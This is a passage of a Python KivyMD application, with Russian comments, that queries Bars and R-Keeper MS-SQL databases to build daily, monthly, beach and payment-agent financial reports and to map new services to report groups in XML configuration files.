pwd=self.pwd, # driver=self.driver, # ) # if org_list: # bs = MDListBottomSheet() # for org in org_list: # bs.add_item(org[2], lambda x: self.click_select_org(org[0], org[2], self.database1), icon='nfc') # bs.open() # # def select_org2(self): # """ # Вывод списка организаций # :return: # """ # org_list = self.list_organisation( # server=self.server, # database=self.database2, # uid=self.user, # pwd=self.pwd, # driver=self.driver, # ) # if org_list: # bs = MDListBottomSheet() # for org in org_list: # bs.add_item(org[2], lambda x: self.click_select_org(org[0], org[2], self.database2), icon='nfc') # bs.open() # # def click_select_org(self, id, name, database): # """ # Выбор организации из списка и запись ее в переменную # :param id: # :param name: # :param database: # :return: # """ # if database == self.database1: # self.org1 = (id, name) # self.screen.ids.report.ids.org1.text = name # elif database == self.database2: # self.org2 = (id, name) # self.screen.ids.report.ids.org2.text = name # ---------- Выбор первой организации из списка организаций (Замена кнопкам выбора организаций) -------------------- def click_select_org(self): """ Выбор первой организации из списка организаций """ org_list1 = self.list_organisation( server=self.server, database=self.database1, uid=self.user, pwd=self.pwd, driver=self.driver, ) org_list2 = self.list_organisation( server=self.server, database=self.database2, uid=self.user, pwd=self.pwd, driver=self.driver, ) for org in org_list1: if org[0] == 36: self.org1 = (org[0], org[2]) if org[0] == 7203673: self.org3 = (org[0], org[2]) self.org2 = (org_list2[0][0], org_list2[0][2]) logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Выбраны организации {org_list1[0][2]} и {org_list2[0][2]}') def list_organisation(self, server, database, uid, pwd, driver, ): """ Функция делает запрос в базу Барс и возвращает список заведенных в базе организаций в виде списка кортежей :param server: str - Путь до MS-SQL сервера, например 'SQLEXPRESS\BASE' :param database: str - Имя базы данных Барса, например 'SkiBars2' :param uid: str - Имя пользователя базы данных, например 'sa' :param pwd: str - Пароль пользователя базы данных, например 'pass' :return: list = Список организаций, каджая из которых - кортеж с параметрами организации """ logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Поиск организаций...') result = [] try: logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Попытка соединения с {server}') cnxn = pyodbc.connect(f'DRIVER={driver};SERVER={server};DATABASE={database};UID={uid};PWD={pwd}') cursor = cnxn.cursor() id_type = 1 cursor.execute( f""" SELECT SuperAccountId, Type, Descr, CanRegister, CanPass, IsStuff, IsBlocked, BlockReason, DenyReturn, ClientCategoryId, DiscountCard, PersonalInfoId, Address, Inn, ExternalId, RegisterTime,LastTransactionTime, LegalEntityRelationTypeId, SellServicePointId, DepositServicePointId, AllowIgnoreStoredPledge, Email, Latitude, Longitude, Phone, WebSite, TNG_ProfileId FROM SuperAccount WHERE Type={id_type} """) while True: row = cursor.fetchone() if row: result.append(row) else: break except pyodbc.OperationalError as e: logging.error(f'{__name__}: {str(datetime.now())[:-7]}: Ошибка {repr(e)}') self.show_dialog(f'Ошибка соединения с {server}: {database}', repr(e)) except pyodbc.ProgrammingError as e: logging.error(f'{__name__}: {str(datetime.now())[:-7]}: Ошибка {repr(e)}') self.show_dialog(f'Невозможно открыть {database}', repr(e)) return result @functions.to_googleshet @functions.add_date @functions.add_sum @functions.convert_to_dict def itog_report( self, server, database, driver, user, pwd, org, org_name, date_from, date_to, hide_zeroes='0', hide_internal='1', ): """ Делает запрос в базу Барс и возвращает итоговый отчет за запрашиваемый период :param server: str - Путь до MS-SQL сервера, например 'SQLEXPRESS\BASE' :param database: str - Имя базы данных Барса, например 'SkiBars2' :param uid: str - Имя пользователя базы данных, например 'sa' :param pwd: str - Пароль пользователя базы данных, например 'pass' :param sa: str - Id организации в Барсе :param date_from: str - Начало отчетного периода в формате: 'YYYYMMDD 00:00:00' :param date_to: str - Конец отчетного периода в формате: 'YYYYMMDD 00:00:00' :param hide_zeroes: 0 or 1 - Скрывать нулевые позиции? :param hide_internal: 0 or 1 - Скрывать внутренние точки обслуживания? :return: Итоговый отчет """ cnxn = pyodbc.connect(f'DRIVER={driver};SERVER={server};DATABASE={database};UID={user};PWD={pwd}') date_from = date_from.strftime('%Y%m%d 00:00:00') date_to = date_to.strftime('%Y%m%d 00:00:00') cursor = cnxn.cursor() cursor.execute( f"exec sp_reportOrganizationTotals_v2 @sa={org},@from='{date_from}',@to='{date_to}',@hideZeroes={hide_zeroes}," f"@hideInternal={hide_internal}") report = [] while True: row = cursor.fetchone() if row: report.append(row) else: break report.append((0, 0, 0, 0, org_name, 0, 'Организация', 'Организация')) report.append((0, 0, 0, 0, str(org), 0, 'ID организации', 'ID организации')) if len(report) > 1: logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Итоговый отчет сформирован ID организации = {org}, ' f'Период: {date_from[:8]}-{date_to[:8]}, Скрывать нули = {hide_zeroes}, .' f'Скрывать внутренние точки обслуживания: {hide_internal})') return report def reportClientCountTotals( self, server, database, driver, user, pwd, org, date_from, date_to, ): cnxn = pyodbc.connect(f'DRIVER={driver};SERVER={server};DATABASE={database};UID={user};PWD={pwd}') date_from = date_from.strftime('%Y%m%d 00:00:00') date_to = date_to.strftime('%Y%m%d 00:00:00') cursor = cnxn.cursor() cursor.execute( f"exec sp_reportClientCountTotals @sa={org},@from='{date_from}',@to='{date_to}',@categoryId=0") report = [] while True: row = cursor.fetchone() if row: report.append(row) else: break if len(report) > 1: logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Отчет по количеству посетителей сформирован ' f'ID организации = {org}, Период: {date_from[:8]}-{date_to[:8]}') return report def client_count_totals_period( self, server, database, driver, user, pwd, org, org_name, date_from, date_to, ): """ Если выбран 1 день возвращает словарь количества людей за текущий месяц, если выбран период возвращает словарь количества людей за период """ count = [] if date_from + timedelta(1) == date_to: first_day = datetime.strptime((date_from.strftime('%Y%m') + '01'), '%Y%m%d') count.append((org_name, 1)) else: first_day = date_from count.append((org_name, 0)) total = 0 while first_day < date_to: client_count = self.reportClientCountTotals( server=server, database=database, driver=driver, user=user, pwd=pwd, org=org, date_from=first_day, date_to=first_day + timedelta(1), ) try: count.append((client_count[0][0], client_count[0][1])) total += client_count[0][1] except IndexError: count.append((first_day, 0)) first_day += timedelta(1) count.append(('Итого', total)) return count def cash_report_request( self, server, database, driver, user, pwd, date_from, date_to, ): """ Делает запрос в базу Барс и возвращает суммовой отчет за запрашиваемый период :param server: str - Путь до MS-SQL сервера, например 'SQLEXPRESS\BASE' :param database: str - Имя базы данных Барса, например 'SkiBars2' :param uid: str - Имя пользователя базы данных, например 'sa' :param pwd: str - Пароль пользователя базы данных, например 'pass' :param sa: str - Id организации в Барсе :param date_from: str - Начало отчетного периода в формате: 'YYYYMMDD 00:00:00' :param date_to: str - Конец отчетного периода в формате: 'YYYYMMDD 00:00:00' :return: Суммовой отчет """ cnxn = pyodbc.connect(f'DRIVER={driver};SERVER={server};DATABASE={database};UID={user};PWD={pwd}') date_from = date_from.strftime('%Y%m%d 00:00:00') date_to = date_to.strftime('%Y%m%d 00:00:00') cursor = cnxn.cursor() cursor.execute( f"exec sp_reportCashDeskMoney @from='{date_from}', @to='{date_to}'") report = [] while True: row = cursor.fetchone() if row: report.append(row) else: break if len(report) > 1: logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Суммовой отчет сформирован, ' f'Период: {date_from[:8]}-{date_to[:8]}') return report def service_point_request( self, server, database, driver, user, pwd, ): """ Делает запрос в базу Барс и возвращает список рабочих мест :param server: str - Путь до MS-SQL сервера, например 'SQLEXPRESS\BASE' :param database: str - Имя базы данных Барса, например 'SkiBars2' :param uid: str - Имя пользователя базы данных, например 'sa' :param pwd: str - Пароль пользователя базы данных, например 'pass' :param sa: str - Id организации в Барсе :return: Суммовой отчет """ cnxn = pyodbc.connect(f'DRIVER={driver};SERVER={server};DATABASE={database};UID={user};PWD={pwd}') cursor = cnxn.cursor() cursor.execute( f""" SELECT ServicePointId, Name, SuperAccountId, Type, Code, IsInternal FROM ServicePoint """ ) report = [] while True: row = cursor.fetchone() if row: report.append(row) else: break if len(report) > 1: logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Список рабочих мест сформирован.') return report def cashdesk_report( self, server, database, driver, user, pwd, date_from, date_to, ): """ Преобразует запросы из базы в суммовой отчет :return: dict """ cash_report = self.cash_report_request( server=server, database=database, driver=driver, user=user, pwd=pwd, date_from=date_from, date_to=date_to, ) service_point = self.service_point_request( server=server, database=database, driver=driver, user=user, pwd=pwd, ) service_point_dict = {} for point in service_point: service_point_dict[point[0]] = (point[1], point[2], point[3], point[4], point[5]) report = {} for line in cash_report: report[line[8]] = [] for line in cash_report: report[line[8]].append([service_point_dict[line[0]][0], line[1], line[2], line[3], line[4], line[5], line[6], line[7]]) all_sum = ['Итого по отчету', Decimal(0.0), Decimal(0.0), Decimal(0.0), Decimal(0.0), Decimal(0.0), Decimal(0.0), Decimal(0.0)] for typpe in report: type_sum = ['Итого', Decimal(0.0), Decimal(0.0), Decimal(0.0), Decimal(0.0), Decimal(0.0), Decimal(0.0), Decimal(0.0)] for line in report[typpe]: i = 0 while True: i += 1 try: type_sum[i] += line[i] all_sum[i] += line[i] except IndexError: break report[typpe].append(type_sum) report['Итого'] = [all_sum] report['Дата'] = [[date_from, date_to]] if database == self.database1: report['Организация'] = [[self.org1[1]]] elif database == self.database2: report['Организация'] = [[self.org2[1]]] return report def read_bitrix_base(self, server, database, user, pwd, driver, date_from, date_to, ): """ Функция делает запрос в базу и возвращает список продаж за аказанную дату :param server: str - Путь до MS-SQL сервера, например 'SQLEXPRESS\BASE' :param database: str - Имя базы данных Барса, например 'SkiBars2' :param uid: str - Имя пользователя базы данных, например 'sa' :param pwd: str - Пароль пользователя базы данных, например 'pass' :param date_from: str - Начало отчетного периода в формате: 'YYYYMMDD 00:00:00' :param date_to: str - Конец отчетного периода в формате: 'YYYYMMDD 00:00:00' :return: list = Список организаций, каджая из которых - кортеж с параметрами организации """ logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Чтение online-продаж...') date_from = date_from.strftime("%Y%m%d") + " 00:00:00" date_to = date_to.strftime("%Y%m%d") + " 00:00:00" cnxn = pyodbc.connect(f'DRIVER={driver};SERVER={server};DATABASE={database};UID={user};PWD={pwd}') cursor = cnxn.cursor() cursor.execute( f""" SELECT Id, OrderNumber, ProductId, ProductName, OrderDate, PayDate, Sum, Pay, Status, Client FROM Transactions WHERE (PayDate >= '{date_from}')and(PayDate < '{date_to}') """) orders = [] while True: row = cursor.fetchone() if row: orders.append(row) else: break summ = 0 for order in orders: summ += float(order[6]) return len(orders), summ def read_reportgroup(self, XML): """ Чтение XML с привязкой групп услуг к услугам :param path: :return: """ with open(XML, encoding='utf-8') as f: xml = f.read() root = objectify.fromstring(xml) orgs_dict = {} for org in root.UrFace: orgs_dict[org.get('Name')] = [] for serv in org.Services.Service: if serv.get('Name') != 'Пустая обязательная категория': orgs_dict[org.get('Name')].append(serv.get('Name')) return orgs_dict @staticmethod def rk_report_request( server: str, database: str, driver: str, user: str, pwd: str, cash_id: int, date_from: datetime, date_to: datetime, ) -> List[Dict[str, Any]]: """ Делает запрос в базу R-Keeper и возвращает продажи кассы cash_id за запрашиваемый период :param server: str - Путь до MS-SQL сервера, например 'SQLEXPRESS\BASE' :param database: str - Имя базы данных R-Keeper, например 'RK7' :param driver: str - Драйвер базы данных :param user: str - Имя пользователя базы данных, например 'sa' :param pwd: str - Пароль пользователя базы данных, например 'pass' :param cash_id: int - Id кассы R-Keeper :param date_from: datetime - Начало отчетного периода в формате: 'YYYYMMDD 00:00:00' :param date_to: datetime - Конец отчетного периода в формате: 'YYYYMMDD 00:00:00' :return: { 'station_id': int, 'open_time': datetime(...), 'paid_sum': Decimal() } """ cnxn = pyodbc.connect(f'DRIVER={driver};SERVER={server};DATABASE={database};UID={user};PWD={pwd}') date_from = date_from.strftime('%Y%m%d 00:00:00') date_to = date_to.strftime('%Y%m%d 00:00:00') cursor = cnxn.cursor() cursor.execute( f"""{''} SELECT OPENTIME, STATIONID, PAIDSUM FROM ORDERS WHERE STATIONID = {cash_id} AND OPENTIME > '{date_from}' AND OPENTIME < '{date_to}' """ ) rows = cursor.fetchall() report = [{'station_id': row[0], 'open_time': row[1], 'paid_sum': row[2]} for row in rows] logging.info( f"{__name__}: {str(datetime.now())[:-7]}: " f"Отчет по P-Keeper сфомирован, Период: {date_from[:8]}-{date_to[:8]}" ) return report def find_new_service(self, service_dict, orgs_dict): """ Поиск новых услуг и организаций из XML :param service_dict: Итоговый отчет :param orgs_dict: словарь из XML-файла :return: """ servise_set = set() for key in orgs_dict: for s in orgs_dict[key]: servise_set.add(s) for org in service_dict: if org not in servise_set and org not in self.new_service: self.new_service.append(org) servise_set.add(org) for key in orgs_dict: if key not in self.orgs: self.orgs.append(key) def distibution_service(self): """ Извлекает услугу из списка новых услуг и вызывает список групп до тех пор пока есть новые услуги, затем передает управление следующей функции """ if self.new_service: service = self.new_service.pop() self.viev_orgs(service) else: self.agentservice() def viev_orgs(self, service): """ Выводит всплывающий список групп, при клике на одну из которых услуга указанная в заголовке добавляется в нее """ bs = MDListBottomSheet() bs.add_item(f'К какой группе отчета относится услуга "{service}"? (1 из {len(self.new_service) + 1})', lambda x: x) for i in range(len(self.orgs)): if self.orgs[i] != 'ИТОГО' and self.orgs[i] != 'Депозит' and self.orgs[i] != 'Дата': bs.add_item(self.orgs[i], lambda x: self.select_org(service, x.text), icon='nfc') bs.add_item(f'Добавить новую группу отчета...', lambda x: self.show_dialog_add_org("Новая группа", "Название новой группы", service)) bs.open() def show_dialog_add_org(self, title, text, service): """ Выводит диалоговое окно с возможность ввода имени новой группы и двумя кнопками """ content = MDTextField(hint_text="Persistent helper text222", helper_text="Text is always here111", helper_text_mode="persistent", text=text, ) dialog = MDDialog(title=title, content=content, size_hint=(.8, None), height=dp(200), auto_dismiss=False) dialog.add_action_button("Отмена", action=lambda *x: (dialog.dismiss(), self.readd_org(service))) dialog.add_action_button("Добавить", action=lambda *x: (dialog.dismiss(), self.create_new_org(dialog.content.text, service))) dialog.open() def create_new_org(self, name, service): """ Добавляет новую организацию в список организаций self.orgs, словарь self.orgs_dict и XML конфигурацию. Возвращает изьятую ранее услугу в список новых услуг с помощью функции self.readd_org """ logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Добавление новой группы - {name}') logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Добавление услуги {service} в группу {name}') self.orgs.append(name) self.orgs_dict[name] = [] self.readd_org(service) with open(self.reportXML, encoding='utf-8') as f: xml = f.read() root = objectify.fromstring(xml) #Добавляем новые организации new_org = objectify.SubElement(root, "UrFace") new_org.set('Name', name) new_servs = objectify.SubElement(new_org, 'Services') new_serv = objectify.SubElement(new_servs, 'Service') new_serv.set('Name', 'Пустая обязательная категория') # удаляем аннотации. objectify.deannotate(root) etree.cleanup_namespaces(root) obj_xml = etree.tostring(root, encoding='utf-8', pretty_print=True, xml_declaration=True ) # сохраняем данные в файл. try: with open(self.reportXML, "w", encoding='utf_8_sig') as xml_writer: xml_writer.write(obj_xml.decode('utf-8')) except IOError: pass def readd_org(self, service): """ Возвращает изьятую ранее услугу в список новых услуг, затем вызывает функцию распределения """ self.new_service.append(service) self.distibution_service() def select_org(self, service, org): """ Добавляет услугу в список услуг и вызывает функцию распределения для других услуг """ logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Добавление услуги {service} в группу {org}') self.orgs_dict[org].append(service) #Запись новой услуги в XML with open(self.reportXML, encoding='utf-8') as f: xml = f.read() root = objectify.fromstring(xml) # Перечисляем существующие организации в файле и добавляем новые строчки for x in root.UrFace: if x.get('Name') == org: Service = objectify.SubElement(x.Services, "Service") Service.set("Name", service) # удаляем аннотации. objectify.deannotate(root) etree.cleanup_namespaces(root) obj_xml = etree.tostring(root, encoding='utf-8', pretty_print=True, xml_declaration=True) # сохраняем данные в файл. try: with open(self.reportXML, "w", encoding='utf_8_sig') as xml_writer: xml_writer.write(obj_xml.decode('utf-8')) except IOError: pass self.distibution_service() def agentservice(self): self.agent_dict = self.read_reportgroup(self.agentXML) self.find_new_agentservice(self.itog_report_org1, self.agent_dict) self.find_new_agentservice(self.itog_report_org1_lastyear, self.agent_dict) self.find_new_agentservice(self.itog_report_org3, self.agent_dict) self.find_new_agentservice(self.itog_report_org3_lastyear, self.agent_dict) if self.itog_report_month: self.find_new_agentservice(self.itog_report_month, self.agent_dict) self.distibution_agentservice() def distibution_agentservice(self): if self.new_agentservice: service = self.new_agentservice.pop() self.viev_agentorgs(service) else: self.save_reports() def find_new_agentservice(self, service_dict, orgs_dict): """ Поиск новых услуг и организаций из XML :param service_dict: Итоговый отчет :param orgs_dict: словарь из XML-файла :return: """ servise_set = set() for key in orgs_dict: for s in orgs_dict[key]: servise_set.add(s) for org in service_dict: if org not in servise_set and org not in self.new_agentservice: self.new_agentservice.append(org) servise_set.add(org) for key in orgs_dict: if key not in self.agentorgs: self.agentorgs.append(key) def viev_agentorgs(self, service): """ Выводит всплывающий список организаций, при клике на одну из которых услуга указанная в заголовке добавляется в нее """ bs = MDListBottomSheet() bs.add_item(f'К какой организации относится услуга "{service}"? (1 из {len(self.new_agentservice) + 1})', lambda x: x) for i in range(len(self.agentorgs)): if self.agentorgs[i] != 'ИТОГО' and self.agentorgs[i] != 'Депозит' and self.agentorgs[i] != 'Дата': bs.add_item(self.agentorgs[i], lambda x: self.select_agentorg(service, x.text), icon='nfc') bs.add_item(f'Добавить новую организацию...', lambda x: self.show_dialog_add_agentorg('Наименование организации', 'ООО Рога и Копыта', service)) bs.open() def select_agentorg(self, service, org): """ Добавляет услугу в список услуг и вызывает функцию распределения для других услуг """ self.agent_dict[org].append(service) #Запись новой услуги в XML with open(self.agentXML, encoding='utf-8') as f: xml = f.read() root = objectify.fromstring(xml) # Перечисляем существующие организации в файле и добавляем новые строчки for x in root.UrFace: if x.get('Name') == org: Service = objectify.SubElement(x.Services, "Service") Service.set("Name", service) # удаляем аннотации. objectify.deannotate(root) etree.cleanup_namespaces(root) obj_xml = etree.tostring(root, encoding='utf-8', pretty_print=True, xml_declaration=True) # сохраняем данные в файл. try: with open(self.agentXML, "w", encoding='utf_8_sig') as xml_writer: xml_writer.write(obj_xml.decode('utf-8')) except IOError: pass self.distibution_agentservice() def show_dialog_add_agentorg(self, title, text, service): """ Выводит диалоговое окно с возможность ввода имени новой организыции и двумя кнопками """ content = MDTextField(hint_text="Persistent helper text222", helper_text="Text is always here111", helper_text_mode="persistent", text=text, ) dialog = MDDialog(title=title, content=content, size_hint=(.8, None), height=dp(200), auto_dismiss=False) dialog.add_action_button("Отмена", action=lambda *x: (dialog.dismiss(), self.readd_agentorg(service))) dialog.add_action_button("Добавить", action=lambda *x: (dialog.dismiss(), self.create_new_agentorg(dialog.content.text, service))) dialog.open() def create_new_agentorg(self, name, service): """ Добавляет новую организацию в список организаций self.orgs, словарь self.orgs_dict и XML конфигурацию. Возвращает изьятую ранее услугу в список новых услуг с помощью функции self.readd_org """ self.agentorgs.append(name) self.agent_dict[name] = [] self.readd_agentorg(service) with open(self.agentXML, encoding='utf-8') as f: xml = f.read() root = objectify.fromstring(xml) #Добавляем новые организации new_org = objectify.SubElement(root, "UrFace") new_org.set('Name', name) new_servs = objectify.SubElement(new_org, 'Services') new_serv = objectify.SubElement(new_servs, 'Service') new_serv.set('Name', 'Пустая обязательная категория') # удаляем аннотации. objectify.deannotate(root) etree.cleanup_namespaces(root) obj_xml = etree.tostring(root, encoding='utf-8', pretty_print=True, xml_declaration=True ) # сохраняем данные в файл. try: with open(self.agentXML, "w", encoding='utf_8_sig') as xml_writer: xml_writer.write(obj_xml.decode('utf-8')) except IOError: pass def readd_agentorg(self, service): """ Возвращает изьятую ранее услугу в список новых услуг, затем вызывает функцию распределения """ self.new_agentservice.append(service) self.distibution_agentservice() def fin_report(self): """ Форминует финансовый отчет в установленном формате :return - dict """ logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Формирование финансового отчета') self.finreport_dict = {} is_aquazona = None for org, services in self.orgs_dict.items(): if org != 'Не учитывать': self.finreport_dict[org] = [0, 0.00] for serv in services: try: if org == 'Дата': self.finreport_dict[org][0] = self.itog_report_org1[serv][0] self.finreport_dict[org][1] = self.itog_report_org1[serv][1] elif serv == 'Депозит': self.finreport_dict[org][1] += self.itog_report_org1[serv][1] elif serv == 'Аквазона': self.finreport_dict['Кол-во проходов'] = [self.itog_report_org1[serv][0], 0] self.finreport_dict[org][1] += self.itog_report_org1[serv][1] is_aquazona = True elif serv == 'Организация': pass else: if self.itog_report_org1.get(serv) and self.itog_report_org1[serv][1] != 0.0: self.finreport_dict[org][0] += self.itog_report_org1[serv][0] self.finreport_dict[org][1] += self.itog_report_org1[serv][1] if self.itog_report_org3.get(serv) and self.itog_report_org3[serv][1] != 0.0: self.finreport_dict[org][0] += self.itog_report_org3[serv][0] self.finreport_dict[org][1] += self.itog_report_org3[serv][1] except KeyError: pass except TypeError: pass if not is_aquazona: self.finreport_dict['Кол-во проходов'] = [0, 0.00] self.finreport_dict.setdefault('Online Продажи', [0, 0.0]) self.finreport_dict['Online Продажи'][0] += self.report_bitrix[0] self.finreport_dict['Online Продажи'][1] += self.report_bitrix[1] self.finreport_dict['Смайл'][0] = len(self.report_rk) self.finreport_dict['Смайл'][1] = float(sum([line['paid_sum'] for line in self.report_rk])) def fin_report_lastyear(self): """ Форминует финансовый отчет за предыдущий год в установленном формате :return - dict """ logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Формирование финансового отчета за прошлый год') self.finreport_dict_lastyear = {} is_aquazona = None for org, services in self.orgs_dict.items(): if org != 'Не учитывать': self.finreport_dict_lastyear[org] = [0, 0.00] for serv in services: try: if org == 'Дата': self.finreport_dict_lastyear[org][0] = self.itog_report_org1_lastyear[serv][0] self.finreport_dict_lastyear[org][1] = self.itog_report_org1_lastyear[serv][1] elif serv == 'Депозит': self.finreport_dict_lastyear[org][1] += self.itog_report_org1_lastyear[serv][1] elif serv == 'Аквазона': self.finreport_dict_lastyear['Кол-во проходов'] = [self.itog_report_org1_lastyear[serv][0], 0] self.finreport_dict_lastyear[org][1] += self.itog_report_org1_lastyear[serv][1] is_aquazona = True elif serv == 'Организация': pass else: if self.itog_report_org1_lastyear.get(serv) \ and self.itog_report_org1_lastyear[serv][1] != 0.0: self.finreport_dict_lastyear[org][0] += self.itog_report_org1_lastyear[serv][0] self.finreport_dict_lastyear[org][1] += self.itog_report_org1_lastyear[serv][1] if self.itog_report_org3_lastyear.get(serv) \ and self.itog_report_org3_lastyear[serv][1] != 0.0: self.finreport_dict_lastyear[org][0] += self.itog_report_org3_lastyear[serv][0] self.finreport_dict_lastyear[org][1] += self.itog_report_org3_lastyear[serv][1] except KeyError: pass except TypeError: pass if not is_aquazona: self.finreport_dict_lastyear['Кол-во проходов'] = [0, 0.00] self.finreport_dict_lastyear.setdefault('Online Продажи', [0, 0.0]) self.finreport_dict_lastyear['Online Продажи'][0] += self.report_bitrix_lastyear[0] self.finreport_dict_lastyear['Online Продажи'][1] += self.report_bitrix_lastyear[1] self.finreport_dict_lastyear['Смайл'][0] = len(self.report_rk_lastyear) self.finreport_dict_lastyear['Смайл'][1] = float(sum([line['paid_sum'] for line in self.report_rk_lastyear])) def fin_report_month(self): """ Форминует финансовый отчет за месяц в установленном формате :return - dict """ logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Формирование финансового отчета за месяц') self.finreport_dict_month = {} control_sum_group = self.finreport_dict_month.setdefault('Контрольная сумма', {}) control_sum = control_sum_group.setdefault('Cумма', [['Сумма', 0, 0.0]]) smile = [len(self.report_rk_month), float(sum([line['paid_sum'] for line in self.report_rk_month]))] for group_name, groups in self.itogreport_group_dict.items(): finreport_group = self.finreport_dict_month.setdefault(group_name, {}) finreport_group_total = finreport_group.setdefault('Итого по группе', [['Итого по группе', 0, 0.0]]) for oldgroup in groups: try: for product_name in self.orgs_dict[oldgroup]: try: product = self.itog_report_month[product_name] if product_name == 'Дата': product_group = finreport_group.setdefault(oldgroup, []) product_group.append([product_name, product[0], product[1]]) elif product_name == 'Депозит': product_group = finreport_group.setdefault(oldgroup, []) product_group.append([product_name, 0, product[1]]) finreport_group_total[0][2] += product[1] control_sum[0][2] += product[1] elif product_name == 'Организация': pass else: product_group = finreport_group.setdefault(product[2], [['Итого по папке', 0, 0.0]]) product_group.append([product_name, product[0], product[1]]) product_group[0][1] += product[0] product_group[0][2] += product[1] finreport_group_total[0][1] += product[0] finreport_group_total[0][2] += product[1] if product_name != 'Итого по отчету': control_sum[0][1] += product[0] control_sum[0][2] += product[1] except KeyError: continue except TypeError: continue except KeyError as e: self.show_dialog('Несоответствие конфигураций XML-файлов', f'Группа {oldgroup} не существует!\n' f'KeyError: {e}') logging.error(f'{__name__}: {str(datetime.now())[:-7]}: Несоответствие конфигураций XML-файлов\n' f'Группа {oldgroup} не существует! \nKeyError: {e}') if oldgroup == 'Общепит': product_group = finreport_group.setdefault( 'Общепит ------------------------------------------------------------------------------ ИП Салахова', [['Итого по папке', 0, 0.0]] ) product_group.append(['Смайл', smile[0], smile[1]]) product_group[0][1] += smile[0] product_group[0][2] += smile[1] finreport_group_total[0][1] += smile[0] finreport_group_total[0][2] += smile[1] control_sum[0][1] += smile[0] control_sum[0][2] += smile[1] self.finreport_dict_month['ИТОГО']['Итого по группе'][0][1] += smile[0] self.finreport_dict_month['ИТОГО']['Итого по группе'][0][2] += smile[1] self.finreport_dict_month['ИТОГО'][''][0][1] += smile[0] self.finreport_dict_month['ИТОГО'][''][0][2] += smile[1] self.finreport_dict_month['ИТОГО'][''][1][1] += smile[0] self.finreport_dict_month['ИТОГО'][''][1][2] += smile[1] if self.finreport_dict_month['ИТОГО'][''][1][2] != control_sum[0][2] \ or self.finreport_dict_month['ИТОГО'][''][1][1] != control_sum[0][1]: self.show_dialog( "Несоответствие Контрольных сумм.", f"Итого по отчету ({self.finreport_dict_month['ИТОГО'][''][1][1]}: " f"{self.finreport_dict_month['ИТОГО'][''][1][2]}) не равно Контрольной сумме услуг" f"({control_sum[0][1]}: {control_sum[0][2]})" ) logging.error( f"{__name__}: {str(datetime.now())[:-7]}: Несоответствие Контрольных сумм. " f"Итого по отчету ({self.finreport_dict_month['ИТОГО'][''][1][1]}: " f"{self.finreport_dict_month['ИТОГО'][''][1][2]}) не равно Контрольной сумме услуг" f"({control_sum[0][1]}: {control_sum[0][2]})") def fin_report_beach(self): """ Форминует финансовый отчет по пляжу в установленном формате :return - dict """ logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Формирование финансового отчета по пляжу') self.finreport_dict_beach = { 'Депозит': (0, 0), 'Товары': (0, 0), 'Услуги': (0, 0), 'Карты': (0, 0), 'Итого по отчету': (0, 0), } for service in self.itog_report_org2: if service == 'Дата': self.finreport_dict_beach[service] = \ self.itog_report_org2[service][0], self.itog_report_org2[service][1] elif service == 'Выход с пляжа': self.finreport_dict_beach[service] = \ self.itog_report_org2[service][0], self.itog_report_org2[service][1] elif not self.itog_report_org2[service][3] in self.finreport_dict_beach: self.finreport_dict_beach[self.itog_report_org2[service][3]] = \ self.itog_report_org2[service][0], self.itog_report_org2[service][1] else: try: self.finreport_dict_beach[self.itog_report_org2[service][3]] = \ self.finreport_dict_beach[self.itog_report_org2[service][3]][0] + self.itog_report_org2[service][0], \ self.finreport_dict_beach[self.itog_report_org2[service][3]][1] + self.itog_report_org2[service][1] except TypeError: pass if 'Выход с пляжа' not in self.finreport_dict_beach: self.finreport_dict_beach['Выход с пляжа'] = 0, 0 def agent_report(self): """ Форминует отчет платежного агента в установленном формате :return - dict """ logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Формирование отчета платежного агента') self.agentreport_dict = {} self.agentreport_dict['Организация'] = [self.org1[0], self.org1[1]] for org, services in self.agent_dict.items(): if org != 'Не учитывать': self.agentreport_dict[org] = [0, 0] for serv in services: try: if org == 'Дата': self.agentreport_dict[org][0] = self.itog_report_org1[serv][0] self.agentreport_dict[org][1] = self.itog_report_org1[serv][1] elif serv == 'Депозит': self.agentreport_dict[org][1] += self.itog_report_org1[serv][1] elif serv == 'Аквазона': self.agentreport_dict[org][1] += self.itog_report_org1[serv][1] elif serv == 'Организация': pass else: self.agentreport_dict[org][0] += self.itog_report_org1[serv][0] self.agentreport_dict[org][1] += self.itog_report_org1[serv][1] except KeyError: pass except TypeError: pass def agent_report_month(self): """ Форминует отчет платежного агента за месяц в установленном формате :return - dict """ logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Формирование отчета платежного агента за месяц') self.agentreport_dict_month = {} self.agentreport_dict_month['Контрольная сумма'] = {} self.agentreport_dict_month['Контрольная сумма']['Cумма'] = [['Сумма', 0, 0.0]] for org in self.agent_dict: self.agentreport_dict_month[org] = {} self.agentreport_dict_month[org]['Итого по группе'] = [ ['Итого по группе', 0, 0.0] ] for tariff in self.agent_dict[org]: try: if tariff == 'Дата': self.agentreport_dict_month[org][tariff] = [] self.agentreport_dict_month[org][tariff].append( [tariff, self.itog_report_month[tariff][0], self.itog_report_month[tariff][1]] ) elif tariff == 'Депозит': self.agentreport_dict_month[org][tariff] = [] self.agentreport_dict_month[org][tariff].append( [tariff, 0, self.itog_report_month[tariff][1]] ) self.agentreport_dict_month[org]['Итого по группе'][0][2] += self.itog_report_month[tariff][1] self.agentreport_dict_month['Контрольная сумма']['Cумма'][0][2] += self.itog_report_month[tariff][1] elif tariff == 'Организация': pass else: try: if self.agentreport_dict_month[org][self.itog_report_month[tariff][2]]: self.agentreport_dict_month[org][self.itog_report_month[tariff][2]]. \ append([tariff, self.itog_report_month[tariff][0], self.itog_report_month[tariff][1]]) self.agentreport_dict_month[org][self.itog_report_month[tariff][2]][0][1] += \ self.itog_report_month[tariff][0] self.agentreport_dict_month[org][self.itog_report_month[tariff][2]][0][2] += \ self.itog_report_month[tariff][1] 